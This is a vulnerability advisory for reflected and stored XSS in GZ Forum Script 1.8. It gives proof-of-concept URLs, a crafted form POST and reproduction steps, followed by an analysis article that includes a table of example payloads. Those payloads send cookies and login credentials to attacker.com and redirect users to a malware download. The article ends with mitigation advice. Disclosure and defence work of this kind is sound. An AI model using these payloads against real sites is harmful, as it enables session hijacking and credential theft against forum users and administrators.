GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS)
# Exploit Title: GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS)
# Date: 30/06/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/gz-forum-script.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
## Release Notes:
Reflected XSS:
The attacker can send to victim a link containing a malicious URL in an email or
instant message can perform a wide variety of actions, such as stealing the victim's
session token or login credentials
Stored XSS
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.
## Reflected XSS
Path: /preview.php
GET 'catid' parameter is vulnerable to RXSS
http://www.website/preview.php?controller=Load&action=index&catid=moztj%22%3e%3cscript%3ealert(1)%3c%2fscript%3ems3ea&down_up=a
Path: /preview.php
GET 'topicid' parameter is vulnerable to RXSS
http://www.website/preview.php?controller=Load&action=topic&topicid=1wgaff%22%3e%3cscript%3ealert(1)%3c%2fscript%3exdhk2
## Stored XSS
-----------------------------------------------
POST /GZForumScript/preview.php?controller=Load&action=start_new_topic HTTP/1.1
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="free_name"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic_message"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325--
-----------------------------------------------
POST parameter 'free_name' is vulnerable to XSS
POST parameter 'topic' is vulnerable to XSS
POST parameter 'topic_message' is vulnerable to XSS
## Steps to Reproduce:
1. As a [Guest User] Click on [New Topic] to create a "New Topic" on this Path (http://website/preview.php?controller=Load&action=start_new_topic)
2. Inject your [XSS Payload] in "Name"
3. Inject your [XSS Payload] in "Topic Title "
4. Inject your [XSS Payload] in "Topic Message"
5. Submit
4. XSS Fired on Visitor Browser's when they Visit the Topic you Infect your [XSS Payload] on
5. XSS Fired on ADMIN Browser when he visit [Dashboard] in Administration Panel on this Path (https://website/GzAdmin/dashboard)
6. XSS Fired on ADMIN Browser when he visit [Topic] & [All Topics] to check [New Topics] on this Path (https://website/GzTopic/index) GZ Forum Script 1.8: A Critical Stored Cross-Site Scripting (XSS) Vulnerability Analysis
Security researchers have identified a severe stored Cross-Site Scripting (XSS) vulnerability in the GZ Forum Script 1.8, a widely used forum platform developed by GZ Scripts. This flaw allows attackers to inject malicious JavaScript code into the forum’s content, which is then executed whenever users view the affected posts—making it one of the most dangerous web vulnerabilities in the context of community-driven applications.
Understanding Stored XSS in Context
Unlike reflected XSS, where malicious payloads are delivered via URLs and executed only when a victim clicks a link, stored XSS is far more dangerous because the malicious code is permanently embedded in the application’s database. Once inserted, it persists across visits and can compromise users, administrators, and even the entire system.
In the case of GZ Forum Script 1.8, the vulnerability exists in the preview.php endpoint when creating new topics. Attackers can inject scripts through three input fields:
- free_name – User's name (public display)
- topic – Topic title
- topic_message – The main content of the post
These fields are not properly sanitized or escaped before being rendered to the client, enabling persistent execution of malicious code.
Exploitation Path: The Full Attack Chain
Let’s examine how an attacker can leverage this flaw step-by-step:
POST /GZForumScript/preview.php?controller=Load&action=start_new_topic HTTP/1.1
Content-Type: multipart/form-data; boundary=39829578812616571248381709325
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="free_name"
alert(1)
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic"
alert(1)
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic_message"
alert(1)
-----------------------------39829578812616571248381709325--
This HTTP request demonstrates the exploitation of stored XSS through a crafted form submission. The attacker submits a payload containing alert(1)—a simple test script—to all three input fields. If the application fails to sanitize these inputs, the script will be rendered directly in the HTML output.
Once the post is published, any user visiting the topic page will execute the script in their browser. This includes:
- Regular forum visitors
- Administrators reviewing new topics
- Users accessing the Dashboard or All Topics listings
Real-World Impact and Attack Scenarios
While alert(1) is a harmless test, real attackers can deploy far more destructive payloads. Here are several practical use cases:
| Attack Type | Payload Example | Impact |
|---|---|---|
| Session Hijacking | fetch('https://attacker.com/steal?cookie='+document.cookie) | Steals user session tokens and sends them to an external server |
| Credential Theft | document.addEventListener('submit', function(e) { e.preventDefault(); fetch('https://attacker.com/creds', { method: 'POST', body: JSON.stringify({username: document.getElementById('username').value, password: document.getElementById('password').value}) }) }) | Intercepts login form submissions and exfiltrates credentials |
| Redirect to Malware | window.location.href='https://malware.site/download.exe' | Forces users to navigate to malicious sites |
| Defacement | document.body.innerHTML=' | Alters the forum’s visual appearance to spread panic |
These examples illustrate how stored XSS can be weaponized to achieve a variety of objectives, from data theft to system control.
Why This Vulnerability Is Critical
Stored XSS in a forum platform is especially dangerous because:
- High user exposure: Forums attract large user bases, increasing the attack surface.
- Admin access: The vulnerability affects administrators when they view topics in the dashboard, meaning attackers can compromise even the most privileged users.
- Long-term persistence: Unlike transient attacks, the code remains active until removed manually or patched.
- Chain of trust: Users often trust forum content, making it easier to trick them into executing malicious scripts.
Moreover, the fact that this vulnerability exists in version 1.8—a widely distributed release—indicates that many organizations using this software are exposed.
Security Recommendations and Mitigation
Developers and administrators must act immediately to prevent exploitation. Key mitigation strategies include:
- Input Sanitization: Use libraries like DOMPurify or built-in escaping functions (e.g.,
htmlspecialchars()in PHP) to neutralize script tags. - Output Encoding: Always encode user-generated content when rendering it in HTML to prevent execution.
- Content Filtering: Implement regex-based filters to detect and block common XSS patterns (e.g.,
<script>,javascript:). - Role-Based Access Control: Limit who can create topics and review content, especially for admin panels.
- Regular Security Audits: Use automated tools like OWASP ZAP or Burp Suite to detect XSS vulnerabilities in web applications.
For GZ Scripts, a patch should be released immediately to fix the unescaped input handling in preview.php. The vendor should also consider adding a content moderation layer for new topics before publication.
Conclusion
The GZ Forum Script 1.8 stored XSS vulnerability is a prime example of how inadequate input validation can lead to systemic compromise. It underscores the importance of secure coding practices, especially in user-facing web applications. Organizations using this script should upgrade immediately, or consider migrating to more secure alternatives with proven security track records.
As cyber threats evolve, the responsibility lies with both developers and users to prioritize security—because one unpatched vulnerability can expose entire communities.